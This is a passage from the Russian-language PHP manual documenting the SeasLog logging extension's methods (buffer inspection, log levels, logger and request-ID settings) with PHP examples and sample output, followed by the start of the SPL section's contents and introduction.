var_dump(SeasLog::info('info log'));
var_dump(SeasLog::debug('debug log'));
var_dump(SeasLog::getBuffer());

?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
array(1) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(79) "2018-07-07 10:43:32 | INFO | 71785 | 5b4028d4c58d5 | 1530931412.810 | info log
"
    [1]=>
    string(81) "2018-07-07 10:43:32 | DEBUG | 71785 | 5b4028d4c58d5 | 1530931412.810 | debug log
"
  }
}

Смотрите также

  • seaslog.use_buffer
  • seaslog.buffer_size
  • seaslog.buffer_disabled_in_cli
  • SeasLog::getBufferEnabled() - Определяет, включён ли буфер
  • SeasLog::flushBuffer() - Очищает буфер логов, делает дамп в файл приложения или отправляет на удалённый API с помощью tcp/udp

User Contributed Notes

There are no user contributed notes for this page.


Определяет, включён ли буфер

  • « SeasLog::getBuffer
  • SeasLog::getDatetimeFormat »
  • PHP Manual
  • SeasLog
  • Определяет, включён ли буфер

SeasLog::getBufferEnabled

(PECL seaslog >=1.0.0)

SeasLog::getBufferEnabled — Определяет, включён ли буфер

Описание

public static SeasLog::getBufferEnabled(): bool

Результат объединения seaslog.use_buffer и seaslog.buffer_disabled_in_cli.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает TRUE, если seaslog.use_buffer является true. Если включить seaslog.buffer_disabled_in_cli и запустить в cli, параметр seaslog.use_buffer будет сброшен, Seaslog НЕМЕДЛЕННО перезапишет данные в хранилище данных.

Примеры

Пример #1 Пример использования SeasLog::getBufferEnabled()

<?php

var_dump(SeasLog::getBufferEnabled());

?>

Результатом выполнения данного примера будет что-то подобное:

bool(false)

Смотрите также

  • seaslog.use_buffer
  • seaslog.buffer_size
  • seaslog.buffer_disabled_in_cli
  • SeasLog::getBuffer() - Получает буфер логов в памяти в виде массива
  • SeasLog::flushBuffer() - Очищает буфер логов, делает дамп в файл приложения или отправляет на удалённый API с помощью tcp/udp

User Contributed Notes

There are no user contributed notes for this page.


Получает стиль формата даты и времени SeasLog

  • « SeasLog::getBufferEnabled
  • SeasLog::getLastLogger »
  • PHP Manual
  • SeasLog
  • Получает стиль формата даты и времени SeasLog

SeasLog::getDatetimeFormat

(PECL seaslog >=1.0.0)

SeasLog::getDatetimeFormat — Получает стиль формата даты и времени SeasLog

Описание

public static SeasLog::getDatetimeFormat(): string

Получает стиль формата даты и времени SeasLog. Используйте функцию SeasLog::getDatetimeFormat(), чтобы получить значение seaslog.default_datetime_format, которое настроено в php.ini(seaslog.ini).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Получает стиль формата даты и времени SeasLog seaslog.default_datetime_format. Использование функции SeasLog::setDatetimeFormat() изменит это значение.

Примеры

Пример #1 Пример использования SeasLog::getDatetimeFormat()

<?php

var_dump(SeasLog::getDateTimeFormat());
var_dump(SeasLog::setDateTimeFormat('Ymd His'));
var_dump(SeasLog::getDateTimeFormat());

?>

Результатом выполнения данного примера будет что-то подобное:

string(11) "Y-m-d H:i:s"
bool(true)
string(7) "Ymd His"

Смотрите также

  • SeasLog::setDatetimeFormat() - Устанавливает стиль формата даты и времени SeasLog

User Contributed Notes

There are no user contributed notes for this page.


Получает последний путь регистратора SeasLog

  • « SeasLog::getDatetimeFormat
  • SeasLog::getRequestID »
  • PHP Manual
  • SeasLog
  • Получает последний путь регистратора SeasLog

SeasLog::getLastLogger

(PECL seaslog >=1.0.0)

SeasLog::getLastLogger — Получает последний путь регистратора SeasLog

Описание

public static SeasLog::getLastLogger(): string

Используйте функцию SeasLog::getLastLogger(), чтобы получить значение seaslog.default_logger, которое задано в php.ini (seaslog.ini).

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Использование функции SeasLog::setLogger() изменит значение функции SeasLog::getLastLogger().

Примеры

Пример #1 Пример использования SeasLog::getLastLogger()

<?php

var_dump(SeasLog::getLastLogger());
SeasLog::setLogger('theNewLogger');
var_dump(SeasLog::getLastLogger());
?>

Результатом выполнения данного примера будет что-то подобное:

string(7) "default"
string(12) "theNewLogger"

Смотрите также

  • SeasLog::setLogger() - Устанавливает имя регистратора SeasLog

User Contributed Notes

There are no user contributed notes for this page.


Получает дифференцированные запросы SeasLog request_id

  • « SeasLog::getLastLogger
  • SeasLog::getRequestVariable »
  • PHP Manual
  • SeasLog
  • Получает дифференцированные запросы SeasLog request_id

SeasLog::getRequestID

(PECL seaslog >=1.0.0)

SeasLog::getRequestID — Получает дифференцированные запросы SeasLog request_id

Описание

public static SeasLog::getRequestID(): string

Чтобы отличить один запрос, например, не вызывать функцию SeasLog::setRequestId(), при инициализации запроса используется уникальное значение, генерируемое встроенной функцией `static char *get_uniqid()`.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает строку, созданную встроенной функцией `static char *get_uniqid()` или заданную функцией SeasLog::setRequestId().

Примеры

Пример #1 Пример использования SeasLog::getRequestID()

<?php

var_dump(SeasLog::getRequestID());
var_dump(SeasLog::setRequestID('reqeust_id_test_'.time()));
var_dump(SeasLog::getRequestID());

?>

Результатом выполнения данного примера будет что-то подобное:

string(13) "5b3f21a209519"
bool(true)
string(26) "reqeust_id_test_1530864034"

Смотрите также

  • SeasLog::setRequestID() - Устанавливает дифференцированные запросы SeasLog request_id
  • Переменная `%Q` в Таблице переменных по умолчанию Seaslog.

User Contributed Notes

There are no user contributed notes for this page.


Получает переменную запроса SeasLog

  • « SeasLog::getRequestID
  • SeasLog::info »
  • PHP Manual
  • SeasLog
  • Получает переменную запроса SeasLog

SeasLog::getRequestVariable

(PECL seaslog >=1.9.0)

SeasLog::getRequestVariable — Получает переменную запроса SeasLog

Описание

public static SeasLog::getRequestVariable(int $key): bool

Получает переменную запроса SeasLog.

Список параметров

key

Целочисленная константа:

  • SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT
  • SEASLOG_REQUEST_VARIABLE_REQUEST_URI
  • SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD
  • SEASLOG_REQUEST_VARIABLE_CLIENT_IP

Возвращаемые значения

Возвращает значение переменной запроса в случае успешного выполнения.

Примеры

Пример #1 Пример использования SeasLog::getRequestVariable()

<?php

$sDomainPort = 'domain:port';
$sRequestUri = 'uri';
$sRequestMethod = 'method';
$sClientIp = 'client_ip';

$iErrorKey = 1000;

$oSeasLog = new SeasLog();

var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT, $sDomainPort));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_URI, $sRequestUri));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD, $sRequestMethod));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_CLIENT_IP, $sClientIp));

var_dump($oSeasLog->setRequestVariable($iErrorKey,NULL));

var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT) == $sDomainPort);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_URI) == $sRequestUri);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD) == $sRequestMethod);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_CLIENT_IP) == $sClientIp);

var_dump($oSeasLog->getRequestVariable($iErrorKey));

?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(true)
bool(true)
bool(false)

Смотрите также

  • SeasLog::setRequestVariable() - Устанавливает переменную запроса SeasLog вручную

User Contributed Notes

There are no user contributed notes for this page.


Записывает информацию уровня "info" в журнал

  • « SeasLog::getRequestVariable
  • SeasLog::log »
  • PHP Manual
  • SeasLog
  • Записывает информацию уровня "info" в журнал

SeasLog::info

(PECL seaslog >=1.0.0)

SeasLog::info — Записывает информацию уровня "info" в журнал

Описание

public static SeasLog::info(string $message, array $content = ?, string $logger = ?): bool

Записывает информацию уровня "info" в журнал.

Замечание:

"INFO" - Интересные события. Подчёркивает запущенный процесс приложения.

Список параметров

message

Сообщение журнала.

content

Сообщение содержит заполнители, которые разработчики заменяют значениями из массива содержимого. Если `message` - это `информация журнала от {NAME}`, а `content` - `array('NAME' => 'Никиты')`, информация журнала будет `информация журнала от Никиты`.

logger

`logger`, заключённый в третий параметр, будет использоваться прямо сейчас, как временный регистратор, если функция SeasLog::setLogger() вызывается в предварительном содержимом. Если `logger` равен NULL или "" (пустая строка), SeasLog будет использовать последний регистратор, установленный методом SeasLog::setLogger().

Возвращаемые значения

Возвращает TRUE в случае успешного выполнения записи журнала, FALSE в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SeasLog::info()

<?php

var_dump(SeasLog::info('log message'));

//с content
var_dump(SeasLog::info('log message from {NAME}',array('NAME' => 'neeke')));

//с временным logger
var_dump(SeasLog::info('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | INFO | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | INFO | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | INFO | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

Смотрите также

  • seaslog.default_template
  • SeasLog::debug() - Записывает информацию уровня "debug" в журнал
  • SeasLog::notice() - Записывает информацию уровня "notice" в журнал
  • SeasLog::warning() - Записывает информацию уровня "warning" в журнал
  • SeasLog::error() - Записывает информацию уровня "error" в журнал
  • SeasLog::critical() - Записывает информацию уровня "critical" в журнал
  • SeasLog::alert() - Записывает информацию уровня "alert" в журнал
  • SeasLog::emergency() - Записывает информацию уровня "emergency" в журнал
  • SeasLog::log() - Общая функция записи в журнал

User Contributed Notes

There are no user contributed notes for this page.


Общая функция записи в журнал

  • « SeasLog::info
  • SeasLog::notice »
  • PHP Manual
  • SeasLog
  • Общая функция записи в журнал

SeasLog::log

(PECL seaslog >=1.0.0)

SeasLog::log — Общая функция записи в журнал

Описание

public static SeasLog::log(
string $level,
string $message = ?,
array $content = ?,
string $logger = ?
): bool

Общая функция записи в журнал.

Список параметров

level

Можно использовать уровень один из:

  • SEASLOG_DEBUG
  • SEASLOG_INFO
  • SEASLOG_NOTICE
  • SEASLOG_WARNING
  • SEASLOG_ERROR
  • SEASLOG_CRITICAL
  • SEASLOG_ALERT
  • SEASLOG_EMERGENCY
Или вы можете создать свой собственный уровень.

message

Сообщение журнала.

content

Сообщение содержит заполнители, которые разработчики заменяют значениями из массива содержимого. Если `message` - это `информация журнала от {NAME}`, а `content` - `array('NAME' => 'Никиты')`, информация журнала будет `информация журнала от Никиты`.

logger

`logger`, заключённый в третий параметр, будет использоваться прямо сейчас, как временный регистратор, если функция SeasLog::setLogger() вызывается в предварительном содержимом. Если `logger` равен NULL или "" (пустая строка), SeasLog будет использовать последний регистратор, установленный методом SeasLog::setLogger().

Возвращаемые значения

Возвращает TRUE в случае успешного выполнения записи журнала, FALSE в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SeasLog::log()

<?php

var_dump(SeasLog::log(SEASLOG_INFO,'info log'));
var_dump(SeasLog::getBuffer());

//создание нового собственного уровня
var_dump(SeasLog::log('MySelfLevel','info log'));
var_dump(SeasLog::getBuffer());

//с `content`
var_dump(SeasLog::log('MySelfLevel','info log {NAME}',array('NAME' => 'neeke')));
var_dump(SeasLog::getBuffer());

//с `logger`
var_dump(SeasLog::log('MySelfLevel','info log {NAME}',array('NAME' => 'neeke'),'tmp_logger'));
var_dump(SeasLog::getBuffer());

?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
array(1) {
  ["/var/log/www/default/20180707.log"]=>
  array(1) {
    [0]=>
    string(79) "2018-07-07 11:12:37 | INFO | 72427 | 5b402fa56a2ea | 1530933157.436 | info log
"
  }
}

bool(true)
array(1) {
  ["/var/log/www/default/20180707.log"]=>
  array(1) {
    [0]=>
    string(86) "2018-07-07 11:13:59 | MySelfLevel | 72470 | 5b402ff781c5e | 1530933239.532 | info log
"
  }
}

bool(true)
array(1) {
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:28:12 | MySelfLevel | 72833 | 5b40334ce6a2f | 1530934092.946 | info log neeke
"
  }
}

bool(true)
array(1) {
  ["/var/log/www/default/20180707.log"]=>
  array(1) {
    [0]=>
    string(86) "2018-07-07 11:20:12 | INFO | 72616 | 5b40316c3641e | 1530933612.222 | info log neeke
"
  }
}

Смотрите также

  • seaslog.default_template
  • SeasLog::debug() - Записывает информацию уровня "debug" в журнал
  • SeasLog::info() - Записывает информацию уровня "info" в журнал
  • SeasLog::notice() - Записывает информацию уровня "notice" в журнал
  • SeasLog::warning() - Записывает информацию уровня "warning" в журнал
  • SeasLog::error() - Записывает информацию уровня "error" в журнал
  • SeasLog::critical() - Записывает информацию уровня "critical" в журнал
  • SeasLog::alert() - Записывает информацию уровня "alert" в журнал
  • SeasLog::emergency() - Записывает информацию уровня "emergency" в журнал

User Contributed Notes

There are no user contributed notes for this page.


Записывает информацию уровня "notice" в журнал

  • « SeasLog::log
  • SeasLog::setBasePath »
  • PHP Manual
  • SeasLog
  • Записывает информацию уровня "notice" в журнал

SeasLog::notice

(PECL seaslog >=1.0.0)

SeasLog::notice — Записывает информацию уровня "notice" в журнал

Описание

public static SeasLog::notice(string $message, array $content = ?, string $logger = ?): bool

Записывает информацию уровня "notice" в журнал.

Замечание:

"NOTICE" - Нормальные, но важные события. Информация, которая важнее уровня "info" во время выполнения.

Список параметров

message

Сообщение журнала.

content

Сообщение содержит заполнители, которые разработчики заменяют значениями из массива содержимого. Если `message` - это `информация журнала от {NAME}`, а `content` - `array('NAME' => 'Никиты')`, информация журнала будет `информация журнала от Никиты`.

logger

`logger`, заключённый в третий параметр, будет использоваться прямо сейчас, как временный регистратор, если функция SeasLog::setLogger() вызывается в предварительном содержимом. Если `logger` равен NULL или "" (пустая строка), SeasLog будет использовать последний регистратор, установленный методом SeasLog::setLogger().

Возвращаемые значения

Возвращает TRUE в случае успешного выполнения записи журнала, FALSE в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SeasLog::notice()

<?php

var_dump(SeasLog::notice('log message'));

//с content
var_dump(SeasLog::notice('log message from {NAME}',array('NAME' => 'neeke')));

//с временным logger
var_dump(SeasLog::notice('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | NOTICE | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | NOTICE | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | NOTICE | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

Смотрите также

  • seaslog.default_template
  • SeasLog::debug() - Записывает информацию уровня "debug" в журнал
  • SeasLog::info() - Записывает информацию уровня "info" в журнал
  • SeasLog::warning() - Записывает информацию уровня "warning" в журнал
  • SeasLog::error() - Записывает информацию уровня "error" в журнал
  • SeasLog::critical() - Записывает информацию уровня "critical" в журнал
  • SeasLog::alert() - Записывает информацию уровня "alert" в журнал
  • SeasLog::emergency() - Записывает информацию уровня "emergency" в журнал
  • SeasLog::log() - Общая функция записи в журнал

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает базовый путь SeasLog

  • « SeasLog::notice
  • SeasLog::setDatetimeFormat »
  • PHP Manual
  • SeasLog
  • Устанавливает базовый путь SeasLog

SeasLog::setBasePath

(PECL seaslog >=1.0.0)

SeasLog::setBasePath — Устанавливает базовый путь SeasLog

Описание

public static SeasLog::setBasePath(string $base_path): bool

Устанавливает базовый путь SeasLog.

Список параметров

base_path

Строка.

Возвращаемые значения

Возвращает TRUE в случае успешного выполнения заданного базового пути, FALSE в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SeasLog::setBasePath()

<?php

/* ... */

?>

Результатом выполнения данного примера будет что-то подобное:

...

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает стиль формата даты и времени SeasLog

  • « SeasLog::setBasePath
  • SeasLog::setLogger »
  • PHP Manual
  • SeasLog
  • Устанавливает стиль формата даты и времени SeasLog

SeasLog::setDatetimeFormat

(PECL seaslog >=1.0.0)

SeasLog::setDatetimeFormat — Устанавливает стиль формата даты и времени SeasLog

Описание

public static SeasLog::setDatetimeFormat(string $format): bool

Устанавливает стиль формата даты и времени SeasLog.

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

format

Строка. Например, "Y-m-d H:i:s" или "Ymd His". Смотрите первый параметр "format" функции date().

Возвращаемые значения

Возвращает TRUE в случае успешного выполнения заданного формата даты и времени, FALSE в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SeasLog::setDatetimeFormat()

<?php

var_dump(SeasLog::setDateTimeFormat('Ymd His'));

?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)

Смотрите также

  • SeasLog::getDateTimeFormat() - Получает стиль формата даты и времени SeasLog

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает имя регистратора SeasLog

  • « SeasLog::setDatetimeFormat
  • SeasLog::setRequestID »
  • PHP Manual
  • SeasLog
  • Устанавливает имя регистратора SeasLog

SeasLog::setLogger

(PECL seaslog >=1.0.0)

SeasLog::setLogger — Устанавливает имя регистратора SeasLog

Описание

public static SeasLog::setLogger(string $logger): bool

Использование функции SeasLog::setLogger() изменит значение функции SeasLog::getLastLogger(). Значит, SeasLog запишет loginfo в каталог регистратора.

Список параметров

logger

Имя регистратора.

Возвращаемые значения

Возвращает TRUE в случае успешного создания директории регистратора, FALSE в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SeasLog::setLogger()

<?php

var_dump(SeasLog::setLogger('testModule/testLogger'));

?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)

Смотрите также

  • SeasLog::getLastLogger() - Получает последний путь регистратора SeasLog
  • SeasLog::closeLoggerStream() - Вручную освобождает поток от регистратора

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает дифференцированные запросы SeasLog request_id

  • « SeasLog::setLogger
  • SeasLog::setRequestVariable »
  • PHP Manual
  • SeasLog
  • Устанавливает дифференцированные запросы SeasLog request_id

SeasLog::setRequestID

(PECL seaslog >=1.0.0)

SeasLog::setRequestID — Устанавливает дифференцированные запросы SeasLog request_id

Описание

public static SeasLog::setRequestID(string $request_id): bool

Чтобы отличить один запрос, например, не вызывать функцию SeasLog::setRequestId(), при инициализации запроса используется уникальное значение, генерируемое встроенной функцией `static char *get_uniqid()`.

Список параметров

request_id

Строка.

Возвращаемые значения

Возвращает TRUE в случае успешной установки request_id, FALSE в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SeasLog::setRequestID()

<?php

var_dump(SeasLog::setRequestID(time() . rand()));

?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)

Смотрите также

  • SeasLog::getRequestID() - Получает дифференцированные запросы SeasLog request_id

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает переменную запроса SeasLog вручную

  • « SeasLog::setRequestID
  • SeasLog::warning »
  • PHP Manual
  • SeasLog
  • Устанавливает переменную запроса SeasLog вручную

SeasLog::setRequestVariable

(PECL seaslog >=1.9.0)

SeasLog::setRequestVariable — Устанавливает переменную запроса SeasLog вручную

Описание

public static SeasLog::setRequestVariable(int $key, string $value): bool

Устанавливает переменную запроса SeasLog вручную.

Список параметров

key

Константа, целое число.

  • SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT
  • SEASLOG_REQUEST_VARIABLE_REQUEST_URI
  • SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD
  • SEASLOG_REQUEST_VARIABLE_CLIENT_IP

value

Значение переменной запроса.

Возвращаемые значения

Возвращает TRUE в случае успешного выполнения, FALSE в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SeasLog::setRequestVariable()

<?php

$sDomainPort = 'domain:port';
$sRequestUri = 'uri';
$sRequestMethod = 'method';
$sClientIp = 'client_ip';

$iErrorKey = 1000;

$oSeasLog = new SeasLog();

var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT, $sDomainPort));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_URI, $sRequestUri));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD, $sRequestMethod));
var_dump($oSeasLog->setRequestVariable(SEASLOG_REQUEST_VARIABLE_CLIENT_IP, $sClientIp));

var_dump($oSeasLog->setRequestVariable($iErrorKey,NULL));

var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_DOMAIN_PORT) == $sDomainPort);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_URI) == $sRequestUri);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_REQUEST_METHOD) == $sRequestMethod);
var_dump($oSeasLog->getRequestVariable(SEASLOG_REQUEST_VARIABLE_CLIENT_IP) == $sClientIp);

var_dump($oSeasLog->getRequestVariable($iErrorKey));

?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
bool(true)
bool(true)
bool(false)
bool(true)
bool(true)
bool(true)
bool(true)
bool(false)

Смотрите также

  • SeasLog::getRequestVariable() - Получает переменную запроса SeasLog

User Contributed Notes

There are no user contributed notes for this page.


Записывает информацию уровня "warning" в журнал

  • « SeasLog::setRequestVariable
  • SPL »
  • PHP Manual
  • SeasLog
  • Записывает информацию уровня "warning" в журнал

SeasLog::warning

(PECL seaslog >=1.0.0)

SeasLog::warning — Записывает информацию уровня "warning" в журнал

Описание

public static SeasLog::warning(string $message, array $content = ?, string $logger = ?): bool

Записывает информацию уровня "warning" в журнал.

Замечание:

"WARNING" - Исключительные случаи, которые не являются ошибками. Потенциально ошибочная информация, которая требует внимания и требует исправления.

Список параметров

message

Сообщение журнала.

content

Сообщение содержит заполнители, которые разработчики заменяют значениями из массива содержимого. Если `message` - это `информация журнала от {NAME}`, а `content` - `array('NAME' => 'Никиты')`, информация журнала будет `информация журнала от Никиты`.

logger

`logger`, заключённый в третий параметр, будет использоваться прямо сейчас, как временный регистратор, если функция SeasLog::setLogger() вызывается в предварительном содержимом. Если `logger` равен NULL или "" (пустая строка), SeasLog будет использовать последний регистратор, установленный методом SeasLog::setLogger().

Возвращаемые значения

Возвращает TRUE в случае успешного выполнения записи журнала, FALSE в случае возникновения ошибки.

Примеры

Пример #1 Пример использования SeasLog::warning()

<?php

var_dump(SeasLog::warning('log message'));

//с content
var_dump(SeasLog::warning('log message from {NAME}',array('NAME' => 'neeke')));

//с временным logger
var_dump(SeasLog::warning('log message from {NAME}',array('NAME' => 'neeke'),'tmp_logger'));

var_dump(SeasLog::getBuffer());

?>

Результатом выполнения данного примера будет что-то подобное:

bool(true)
bool(true)
bool(true)
array(2) {
  ["/var/log/www/default/20180707.log"]=>
  array(2) {
    [0]=>
    string(81) "2018-07-07 11:45:49 | WARNING | 73263 | 5b40376d1067c | 1530935149.68 | log message
"
    [1]=>
    string(92) "2018-07-07 11:45:49 | WARNING | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
  ["/var/log/www/tmp_logger/20180707.log"]=>
  array(1) {
    [0]=>
    string(92) "2018-07-07 11:45:49 | WARNING | 73263 | 5b40376d1067c | 1530935149.68 | log message from neeke
"
  }
}

Смотрите также

  • seaslog.default_template
  • SeasLog::debug() - Записывает информацию уровня "debug" в журнал
  • SeasLog::info() - Записывает информацию уровня "info" в журнал
  • SeasLog::notice() - Записывает информацию уровня "notice" в журнал
  • SeasLog::error() - Записывает информацию уровня "error" в журнал
  • SeasLog::critical() - Записывает информацию уровня "critical" в журнал
  • SeasLog::alert() - Записывает информацию уровня "alert" в журнал
  • SeasLog::emergency() - Записывает информацию уровня "emergency" в журнал
  • SeasLog::log() - Общая функция записи в журнал

User Contributed Notes

There are no user contributed notes for this page.


Стандартная библиотека PHP (SPL)

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Структуры данных
    • SplDoublyLinkedList — Класс SplDoublyLinkedList
    • SplStack — Класс SplStack
    • SplQueue — Класс SplQueue
    • SplHeap — Класс SplHeap
    • SplMaxHeap — Класс SplMaxHeap
    • SplMinHeap — Класс SplMinHeap
    • SplPriorityQueue — Класс SplPriorityQueue
    • SplFixedArray — Класс SplFixedArray
    • SplObjectStorage — Класс SplObjectStorage
  • Итераторы
    • AppendIterator — Класс AppendIterator
    • ArrayIterator — Класс ArrayIterator
    • CachingIterator — Класс CachingIterator
    • CallbackFilterIterator — Класс CallbackFilterIterator
    • DirectoryIterator — Класс DirectoryIterator
    • EmptyIterator — Класс EmptyIterator
    • FilesystemIterator — Класс FilesystemIterator
    • FilterIterator — Класс FilterIterator
    • GlobIterator — Класс GlobIterator
    • InfiniteIterator — Класс InfiniteIterator
    • IteratorIterator — Класс IteratorIterator
    • LimitIterator — Класс LimitIterator
    • MultipleIterator — Класс MultipleIterator
    • NoRewindIterator — Класс NoRewindIterator
    • ParentIterator — Класс ParentIterator
    • RecursiveArrayIterator — Класс RecursiveArrayIterator
    • RecursiveCachingIterator — Класс RecursiveCachingIterator
    • RecursiveCallbackFilterIterator — Класс RecursiveCallbackFilterIterator
    • RecursiveDirectoryIterator — Класс RecursiveDirectoryIterator
    • RecursiveFilterIterator — Класс RecursiveFilterIterator
    • RecursiveIteratorIterator — Класс RecursiveIteratorIterator
    • RecursiveRegexIterator — Класс RecursiveRegexIterator
    • RecursiveTreeIterator — Класс RecursiveTreeIterator
    • RegexIterator — Класс RegexIterator
  • Интерфейсы
    • Countable — Интерфейс Countable
    • OuterIterator — Интерфейс OuterIterator
    • RecursiveIterator — Интерфейс RecursiveIterator
    • SeekableIterator — Интерфейс SeekableIterator
  • Исключения
    • BadFunctionCallException — Класс BadFunctionCallException
    • BadMethodCallException — Класс BadMethodCallException
    • DomainException — Класс DomainException
    • InvalidArgumentException — Класс InvalidArgumentException
    • LengthException — Класс LengthException
    • LogicException — Класс LogicException
    • OutOfBoundsException — Класс OutOfBoundsException
    • OutOfRangeException — Класс OutOfRangeException
    • OverflowException — Класс OverflowException
    • RangeException — Класс RangeException
    • RuntimeException — Класс RuntimeException
    • UnderflowException — Класс UnderflowException
    • UnexpectedValueException — Класс UnexpectedValueException
  • Функции SPL
    • class_implements — Возвращает список интерфейсов, реализованных в заданном классе или интерфейсе
    • class_parents — Возвращает список родительских классов заданного класса
    • class_uses — Возвращает список трейтов, используемых заданным классом
    • iterator_apply — Вызывает функцию для каждого элемента в итераторе
    • iterator_count — Подсчитывает количество элементов в итераторе
    • iterator_to_array — Копирует итератор в массив
    • spl_autoload_call — Попытка загрузить класс всеми зарегистрированными функциями __autoload()
    • spl_autoload_extensions — Регистрация и вывод расширений файлов для spl_autoload
    • spl_autoload_functions — Получение списка всех зарегистрированных функций __autoload()
    • spl_autoload_register — Регистрирует заданную функцию в качестве реализации метода __autoload()
    • spl_autoload_unregister — Отмена регистрации функции в качестве реализации метода __autoload()
    • spl_autoload — Реализация по умолчанию метода __autoload()
    • spl_classes — Возвращает доступные классы SPL
    • spl_object_hash — Возвращает хеш-идентификатор для объекта
    • spl_object_id — Получить целочисленный идентификатор объекта
  • Обработка файлов
    • SplFileInfo — Класс SplFileInfo
    • SplFileObject — Класс SplFileObject
    • SplTempFileObject — Класс SplTempFileObject
  • Различные классы и интерфейсы
    • ArrayObject — Класс ArrayObject
    • SplObserver — Интерфейс SplObserver
    • SplSubject — Интерфейс SplSubject

User Contributed Notes

There are no user contributed notes for this page.


Введение

Стандартная библиотека PHP (SPL) - это набор интерфейсов и классов, предназначенных для решения стандартных задач.

SPL предоставляет ряд стандартных структур данных, итераторов для оббегания объектов, интерфейсов, стандартных исключений, некоторое количество классов для работы с файлами и предоставляет ряд функций, например spl_autoload_register().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

User Contributed Notes

There are no user contributed notes for this page.


Структуры данных

Содержание

  • SplDoublyLinkedList
  • SplStack
  • SplQueue
  • SplHeap
  • SplMaxHeap
  • SplMinHeap
  • SplPriorityQueue
  • SplFixedArray
  • SplObjectStorage

SPL предоставляет набор стандартных структур данных. Они сгруппированы здесь по своей базовой реализации, которая обычно определяет их общую область применения.

Двусвязные списки

Двусвязный список (DLL) - это список узлов, связанных в обоих направлениях друг с другом. Операции итератора, доступ к обоим концам, добавление или удаление узлов стоимостью O(1), когда основная структура является DLL. Следовательно, они обеспечивает хорошую реализацию для стеков и очередей.

  • SplDoublyLinkedList
    • SplStack
    • SplQueue

Кучи

Кучи - это древовидные структуры, которые следуют свойствам кучи: каждый узел больше или равен своим потомкам, при этом для сравнения используется внедрённый метод сравнения, который является общим для всей кучи.

  • SplHeap
